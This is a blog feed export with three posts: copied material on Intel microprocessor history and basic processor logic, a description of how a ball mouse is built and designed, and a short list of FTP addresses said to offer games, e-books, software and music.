class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-8823524488478345678?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-28699582082487820332008-10-17T15:06:00.000-07:002008-11-04T20:27:36.985-08:00<h1 class="articlePageTitle">Microprocessor Progression: Intel</h1> <!-- dtl_id=7570 //--> <table align="right" cellpadding="3" cellspacing="0" width="150"> <tbody><tr><td><span style="font-family:arial,helvetica;"> <center><a href="http://computer.howstuffworks.com/enlarge-image.htm?terms=microprocessors&amp;page=0"><img alt="Intel 8080" src="http://static.howstuffworks.com/gif/microprocessor-8080-micro.jpg" border="0" /></a><br /><!-- <span style="font-size:-2;">Photo courtesy</span><br />--> <span style=""><strong>The Intel 8080 was the first microprocessor in a home computer. See more <a href="http://computer.howstuffworks.com/enlarge-image.htm?terms=microprocessors&amp;page=0">microprocessor pictures</a>.</strong></span><br /></center> </span> </td></tr> </tbody></table> The first microprocessor to make it into a home computer was the Intel 8080, a complete 8-bit computer on one chip, introduced in 1974. The first microprocessor to make a real splash in the market was the Intel 8088, introduced in 1979 and incorporated into the IBM PC (which first appeared around 1982). If you are familiar with the PC market and its history, you know that the PC market moved from the 8088 to the 80286 to the 80386 to the 80486 to the Pentium to the Pentium II to the Pentium III to the Pentium 4. All of these microprocessors are made by Intel and all of them are improvements on the basic design of the 8088. The Pentium 4 can execute any piece of code that ran on the original 8088, but it does it about 5,000 times faster! <p>The following table helps you to understand the differences between the different processors that Intel has introduced over the years. </p><p> </p><center> <table bg="" style="color: rgb(238, 244, 246);" border="1" cellpadding="3" cellspacing="0" width="430"> <tbody><tr> <td><span style="font-family:arial,helvetica;"><strong><center><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Name</span></center></strong></span></td> <td><span style="font-family:arial,helvetica;"><strong><center><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Date</span></center></strong></span></td> <td><span style="font-family:arial,helvetica;"><strong><center><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Transistors</span></center></strong></span></td> <td><span style="font-family:arial,helvetica;"><strong><center><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Microns</span></center></strong></span></td> <td><span style="font-family:arial,helvetica;"><strong><center><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Clock speed</span></center></strong></span></td> <td><span style="font-family:arial,helvetica;"><strong><center><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Data width</span></center></strong></span></td> <td><span style="font-family:arial,helvetica;"><strong><center><span class="Apple-style-span" style="color: rgb(51, 51, 51);">MIPS</span></center></strong></span></td> </tr> <tr> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">8080</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1974</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">6,000</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">6</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">2 MHz</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">8 bits</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">0.64</span></span></center></td> </tr> <tr> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">8088</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1979</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">29,000</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">3</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">5 MHz</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">16 bits<br />8-bit bus</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">0.33</span></span></center></td> </tr> <tr> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">80286</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1982</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">134,000</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1.5</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">6 MHz</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">16 bits</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1</span></span></center></td> </tr> <tr> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">80386</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1985</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">275,000</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1.5</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">16 MHz</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">32 bits</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">5</span></span></center></td> </tr> <tr> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">80486</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1989</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1,200,000</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">25 MHz</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">32 bits</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">20</span></span></center></td> </tr> <tr> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Pentium</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1993</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">3,100,000</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">0.8</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">60 MHz</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">32 bits<br />64-bit bus</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">100</span></span></center></td> </tr> <tr> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Pentium II</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1997</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">7,500,000</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">0.35</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">233 MHz</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">32 bits<br />64-bit bus</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">~300</span></span></center></td> </tr> <tr> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Pentium III</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1999</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">9,500,000</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">0.25</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">450 MHz</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">32 bits<br />64-bit bus</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">~510</span></span></center></td> </tr> <tr> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Pentium 4</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">2000</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">42,000,000</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">0.18</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">1.5 GHz</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">32 bits<br />64-bit bus</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">~1,700</span></span></center></td> </tr> <tr> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">Pentium 4 "Prescott"</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">2004</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">125,000,000</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">0.09</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">3.6 GHz</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">32 bits<br />64-bit bus</span></span></center></td> <td><center><span style="font-family:arial,helvetica;"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">~7,000</span></span></center></td> </tr> </tbody></table><br /><span style="">Compiled from <a href="http://computer.howstuffworks.com/framed.htm?parent=microprocessor.htm&amp;url=http://www.intel.com/pressroom/kits/quickref.htm">The Intel Microprocessor Quick Reference Guide</a> and <a href="http://computer.howstuffworks.com/framed.htm?parent=microprocessor.htm&amp;url=http://home.comcast.net/%7Etckerrigan/bench.html">TSCP Benchmark Scores</a></span> </center> <p> Information about this table: </p><ul><table bg="" style="color: rgb(238, 244, 246);" align="center" border="1" cellpadding="3" cellspacing="0" width="400"> <tbody><tr><td><span style="font-family:arial,helvetica;"> <span style="color: rgb(0, 0, 153);font-size:78%;" ><center>What's a Chip?</center></span> <span style=""><span class="Apple-style-span" style="color: rgb(51, 51, 51);">A </span><strong><span class="Apple-style-span" style="color: rgb(51, 51, 51);">chip</span></strong><span class="Apple-style-span" style="color: rgb(51, 51, 51);"> is also called an </span><strong><span class="Apple-style-span" style="color: rgb(51, 51, 51);">integrated circuit</span></strong><span class="Apple-style-span" style="color: rgb(51, 51, 51);">. Generally it is a small, thin piece of </span><a href="http://computer.howstuffworks.com/diode1.htm"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">silicon</span></a><span class="Apple-style-span" style="color: rgb(51, 51, 51);"> onto which the </span><a href="http://computer.howstuffworks.com/diode2.htm"><span class="Apple-style-span" style="color: rgb(51, 51, 51);">transistors</span></a><span class="Apple-style-span" style="color: rgb(51, 51, 51);"> making up the microprocessor have been etched. A chip might be as large as an inch on a side and can contain tens of millions of transistors. Simpler processors might consist of a few thousand transistors etched onto a chip just a few millimeters square.</span></span><br /></span> </td></tr> </tbody></table><p> </p><li>The <strong>date</strong> is the year that the processor was first introduced. Many processors are re-introduced at higher clock speeds for many years after the original release date. </li><li><strong>Transistors</strong> is the number of transistors on the chip. You can see that the number of transistors on a single chip has risen steadily over the years. </li><li><strong>Microns</strong> is the width, in microns, of the smallest wire on the chip. For comparison, a human hair is 100 microns thick. As the feature size on the chip goes down, the number of transistors rises. </li><li><strong>Clock speed</strong> is the maximum rate that the chip can be clocked at. Clock speed will make more sense in the next section. </li><li><strong>Data Width</strong> is the width of the ALU. An 8-bit ALU can add/subtract/multiply/etc. two 8-bit numbers, while a 32-bit ALU can manipulate 32-bit numbers. An 8-bit ALU would have to execute four instructions to add two 32-bit numbers, while a 32-bit ALU can do it in one instruction. In many cases, the external data bus is the same width as the ALU, but not always. The 8088 had a 16-bit ALU and an 8-bit bus, while the modern Pentiums fetch data 64 bits at a time for their 32-bit ALUs. </li><li><strong>MIPS</strong> stands for "millions of instructions per second" and is a rough measure of the performance of a CPU. Modern CPUs can do so many different things that MIPS ratings lose a lot of their meaning, but you can get a general sense of the relative power of the CPUs from this column. </li></ul>From this table you can see that, in general, there is a relationship between clock speed and MIPS. The maximum clock speed is a function of the manufacturing process and delays within the chip. There is also a relationship between the number of transistors and MIPS. For example, the 8088 clocked at 5 MHz but only executed at 0.33 MIPS (about one instruction per 15 clock cycles). Modern processors can often execute at a rate of two instructions per clock cycle. That improvement is directly related to the number of transistors on the chip and will make more sense in the next section.<br /><h1 class="articlePageTitle">Microprocessor Logic</h1> <!-- dtl_id=7572 //--> <table align="right" cellpadding="3" cellspacing="0" width="200"> <tbody><tr><td><span style="font-family:arial,helvetica;"> <center><img src="http://static.howstuffworks.com/gif/microprocessor-p4-alone.jpg" /><br /><span style="">Photo courtesy <a href="http://www.howstuffworks.com/framed.htm?parent=microprocessor.htm&amp;url=http://www.intel.com">Intel Corporation</a></span><br /><span style=""><b>Intel Pentium 4 processor</b></span><br /></center> </span> </td></tr> </tbody></table> To understand how a microprocessor works, it is helpful to look inside and learn about the logic used to create one. In the process you can also learn about <b>assembly language</b> -- the native language of a microprocessor -- and many of the things that engineers can do to boost the speed of a processor. <p> A microprocessor executes a collection of machine instructions that tell the processor what to do. Based on the instructions, a microprocessor does three basic things: </p><ul><li>Using its ALU (Arithmetic/Logic Unit), a microprocessor can perform mathematical operations like addition, subtraction, multiplication and division. Modern microprocessors contain complete floating point processors that can perform extremely sophisticated operations on large floating point numbers. </li><li>A microprocessor can move data from one <a href="http://www.howstuffworks.com/computer-memory.htm">memory</a> location to another. </li><li>A microprocessor can make decisions and jump to a new set of instructions based on those decisions. </li></ul>There may be very sophisticated things that a microprocessor does, but those are its three basic activities. The following diagram shows an extremely simple microprocessor capable of doing those three things: <p> </p><table align="center" cellpadding="3" cellspacing="0" width="420"> <tbody><tr><td> <center><img src="http://static.howstuffworks.com/gif/microprocessor1.gif" /><br /></center> </td></tr> </tbody></table> <p> This is about as simple as a microprocessor gets. This microprocessor has: </p><ul><li>An <b>address bus</b> (that may be 8, 16 or 32 bits wide) that sends an address to memory </li><li>A <b>data bus</b> (that may be 8, 16 or 32 bits wide) that can send data to memory or receive data from memory </li><li>An <b>RD</b> (read) and <b>WR</b> (write) line to tell the memory whether it wants to set or get the addressed location </li><li>A <b>clock line</b> that lets a clock pulse sequence the processor </li><li>A <b>reset line</b> that resets the program counter to zero (or whatever) and restarts execution </li></ul> Let's assume that both the address and data buses are 8 bits wide in this example. <p> Here are the components of this simple microprocessor: </p><ul><li>Registers A, B and C are simply latches made out of flip-flops. (See the section on "edge-triggered latches" in <a href="http://www.howstuffworks.com/boolean.htm">How Boolean Logic Works</a> for details.) </li><li>The address latch is just like registers A, B and C. </li><li>The program counter is a latch with the extra ability to increment by 1 when told to do so, and also to reset to zero when told to do so. </li><li>The ALU could be as simple as an 8-bit adder (see the section on adders in <a href="http://www.howstuffworks.com/boolean.htm">How Boolean Logic Works</a> for details), or it might be able to add, subtract, multiply and divide 8-bit values. Let's assume the latter here. </li><li>The test register is a special latch that can hold values from comparisons performed in the ALU. An ALU can normally compare two numbers and determine if they are equal, if one is greater than the other, etc. The test register can also normally hold a carry bit from the last stage of the adder. It stores these values in flip-flops and then the instruction decoder can use the values to make decisions. </li><li>There are six boxes marked "3-State" in the diagram. These are <b>tri-state buffers</b>. A tri-state buffer can pass a 1, a 0 or it can essentially disconnect its output (imagine a switch that totally disconnects the output line from the wire that the output is heading toward). A tri-state buffer allows multiple outputs to connect to a wire, but only one of them to actually drive a 1 or a 0 onto the line. </li><li>The instruction register and instruction decoder are responsible for controlling all of the other components. </li></ul>Although they are not shown in this diagram, there would be control lines from the instruction decoder that would: <ul><li>Tell the A register to latch the value currently on the data bus </li><li>Tell the B register to latch the value currently on the data bus </li><li>Tell the C register to latch the value currently output by the ALU </li><li>Tell the program counter register to latch the value currently on the data bus </li><li>Tell the address register to latch the value currently on the data bus </li><li>Tell the instruction register to latch the value currently on the data bus </li><li>Tell the program counter to increment </li><li>Tell the program counter to reset to zero </li><li>Activate any of the six tri-state buffers (six separate lines) </li><li>Tell the ALU what operation to perform </li><li>Tell the test register to latch the ALU's test bits </li><li>Activate the RD line </li><li>Activate the WR line </li></ul> Coming into the instruction decoder are the bits from the test register and the clock line, as well as the bits from the instruction register.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-2869958208248782033?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-43227844619026806732008-10-17T14:59:00.000-07:002008-11-04T20:27:36.986-08:00<p class="shw" style="font-size: 15px; font-weight: bolder;">Mouse Anatomy</p><p class="shw" style="font-size: 14px;"><i>Body</i></p><p>The mouse's "skin" is the outer, hard plastic body that the user guides across a flat surface. It's "tail" is the electrical cable leading out of one end of the mouse and finishing at the connection with the Central Processing Unit (CPU). At the tail end, one to three buttons are the external contacts to small electrical switches. The press of a button closes the switch with a click; electrically, the circuit is closed, and the computer has received a command.</p><p>On the underside of the mouse, a plastic hatch fits over a rubberized ball, exposing part of the ball. Inside, the ball is held in place by a support wheel and two shafts. As the ball rolls on a surface, one shaft turns with horizontal motion and the second responds to vertical motion. At one end of each of the two shafts, a spoked wheel also turns. As these spokes rotate, infrared light signals from a light-emitting <a href="file:///topic/diode" class="alnk" target="_top" name="&amp;lid=ALINK" onclick="assignParam('navinfo','method|4'+getLinkTextForCookie(this));">diode</a> (LED) <a href="file:///topic/flicker" class="alnk" target="_top" name="&amp;lid=ALINK" onclick="assignParam('navinfo','method|4'+getLinkTextForCookie(this));">flicker</a> through the spokes and are intercepted by a light <a href="file:///topic/detector" class="alnk" target="_top" name="&amp;lid=ALINK" onclick="assignParam('navinfo','method|4'+getLinkTextForCookie(this));">detector</a>. The dark and light are translated by phototransistors into electrical pulses that go to the interface integrated circuit (IC) in the mouse. The pulses tell the IC that the ball has tracked left-right and up-down, and the IC instructs the cursor to move accordingly on the screen.</p><p>The interface integrated circuit is mounted on the printed circuit board (PCB) that is the skeleton to which all the internal workings of the mouse are attached. The integrated circuit, or computer chip, collects the information from the switches and the signals from the phototransistors and sends a data stream to the computer.</p><p class="shw" style="font-size: 14px;"><i>Brain</i></p><p>Each mouse design also has its own software called a driver. The driver is an external brain that enables the computer to understand the mouse's signals. The driver tells the computer how to interpret the mouse's IC data stream including speed, direction, and clicked commands. Some mouse drivers allow the user to assign specific actions to the buttons and to adjust the mouse's resolution (the relative distances the mouse and the cursor travel). Mice that are purchased as part of computer packages have the drivers built in or preprogrammed in the computers.</p><p class="shw" style="font-size: 15px; font-weight: bolder;">Raw Materials</p><p>The mouse's outer shell and most of its internal mechanical parts, including the shafts and spoked wheels, are made of <a href="file:///topic/acrylonitrile" class="alnk" target="_top" name="&amp;lid=ALINK" onclick="assignParam('navinfo','method|4'+getLinkTextForCookie(this));">acrylonitrile</a> butadiene <a href="file:///topic/styrene" class="alnk" target="_top" name="&amp;lid=ALINK" onclick="assignParam('navinfo','method|4'+getLinkTextForCookie(this));">styrene</a> (ABS) plastic that is injection-molded. The ball is metal that is coated in rubber; it is made by a specialty supplier. The electrical micro-switches (made of plastic and metal) are also off-the-shelf items supplied by subcontractors although mouse designers can specify force requirements for the switches to make them easier or firmer to click. Integrated circuits or chips can be standard items, although each manufacturer may have proprietary chips made for use in its complete line of products. Electrical cables and overmolds (end connectors) are also supplied by outside sources.</p><p>The printed circuit board (PCB) on which the electrical and mechanical components are mounted is custom-made to suit the mouse design. It is a flat, resin-coated sheet. Electrical resistors, capacitors, oscillators, integrated circuits (ICs), and other components are made of various types of metal, plastic, and silicon.</p><p class="shw" style="font-size: 15px; font-weight: bolder;">Design</p><p>Design of a new mouse begins with meetings among a product development manager, designer, marketing representative, and consulting ergonomist (a specialist in human motion and the effects various movements have on body parts). A list of human factors guidelines is developed specifying size range of hands, touch sensitivity, amount of work, support of the hand in a neutral position, the user's <a href="file:///topic/posture" class="alnk" target="_top" name="&amp;lid=ALINK" onclick="assignParam('navinfo','method|4'+getLinkTextForCookie(this));">posture</a> while operating the mouse, finger extension required to reach the buttons, use by both left- and right-handed individuals, no prolonged static electricity, and other comfort and safety requirements; these can differ widely, depending on whether the mouse is to be used in offices or with home computers, for example. A design brief for the proposed mouse is written to describe the purpose of the product and what it achieves; a look is also proposed in keeping with the anticipated market.</p><p>The design team returns to the table with <a href="file:///topic/foam" class="alnk" target="_top" name="&amp;lid=ALINK" onclick="assignParam('navinfo','method|4'+getLinkTextForCookie(this));">foam</a> models; scores of different shapes may be made for a single mouse design. User testing is done on these models; the engineers may do this preliminary testing themselves, or they may employ focus groups as typical users or observe one-on-one testing with sample users. When the selection of models is narrowed down, wooden models that are more refined and are painted are made of the winning designs. Input is gathered again on the feel, shape, and look of the models; the ergonomist also reviews the likely designs and confirms that the human factors guidelines have been achieved.</p><p>When the optimal model is chosen, the engineering team begins to design the internal components. A three-dimensional rendering is computer-generated, and the same data are used to machine-cut the shapes of the exterior shell with all its details. The mechanical and electronics engineers fit the printed circuit board (and its electronics) and the encoder mechanism (the ball, shafts, wheels and LED source and detector) inside the structure. The process of fitting the workings to the shell is iterative; changes are made, and the design-and-fit process is repeated until the mouse meets its design objectives and the design team is pleased with the results. Custom chips are designed, produced on a trial basis, and tested; custom electronics will help the design meet performance objectives and give it unique, competitive, and marketable characteristics.</p><p>The completed design diagrams are turned over to the project tooler who begins the process of modifying machines to produce the mouse. Tooling diagrams are generated for injection-molding the shell, for example. The size, shape, volume of the cavity, the number of gates through which the plastic will be injected into the <a href="file:///topic/mold" class="alnk" target="_top" name="&amp;lid=ALINK" onclick="assignParam('navinfo','method|4'+getLinkTextForCookie(this));">mold</a>, and the flow of the plastic through the mold are all diagramed and studied. After the final tooling plan is reviewed, tools are cut using the computer-generated data. Sample plastic shells are made as "try shots" to examine actual flow lines and confirm that voids aren't induced. Changes are made until the process is perfect. Texture is added to the external appearance of the shell by acid <a href="file:///topic/etching" class="alnk" target="_top" name="&amp;lid=ALINK" onclick="assignParam('navinfo','method|4'+getLinkTextForCookie(this));">etching</a> or by sand blasting.</p><p>In the meantime, the engineering team has set up the assembly line for the new mouse design and conducted trial assemblies. When the design details are finalized, tools have been produced, and test results have met the design team's objectives and standards, the mouse is ready for mass production.</p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-4322784461902680673?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-75179706113068059562008-10-14T09:08:00.000-07:002008-10-25T16:36:21.567-07:00FTP's are that in which many sites store the downloads...u can get<br />many Games ,e books,softwares for windows.<br /><a href="ftp://ftp.freenet.de/pub/filepilot/windows">ftp://ftp.freenet.de/pub/filepilot/windows</a><br /><a href="ftp://194.187.207.98/games/">ftp://194.187.207.98/games/</a><br /><a href="ftp://ftp.uar.net/pub/e-books/">ftp://ftp.uar.net/pub/e-books/</a><br /><a href="http://english.p30world.com/archiv">http://english.p30world.com/archiv</a><br /><a href="ftp://68.111.167.254/disk1/share/Music">ftp://68.111.167.254/disk1/share/Music</a><br /><a href="ftp://62.213.51.99/games/">ftp://62.213.51.99/games/</a><br /><a href="ftp://gameftp.gcn.ua/pub/">ftp://gameftp.gcn.ua/pub/</a><br /><a href="ftp://62.140.228.14/public/%C8%E3%F0%FB/"> ftp://62.140.228.14/public/%C8%E3%F0%FB/</a><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-7517970611306805956?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0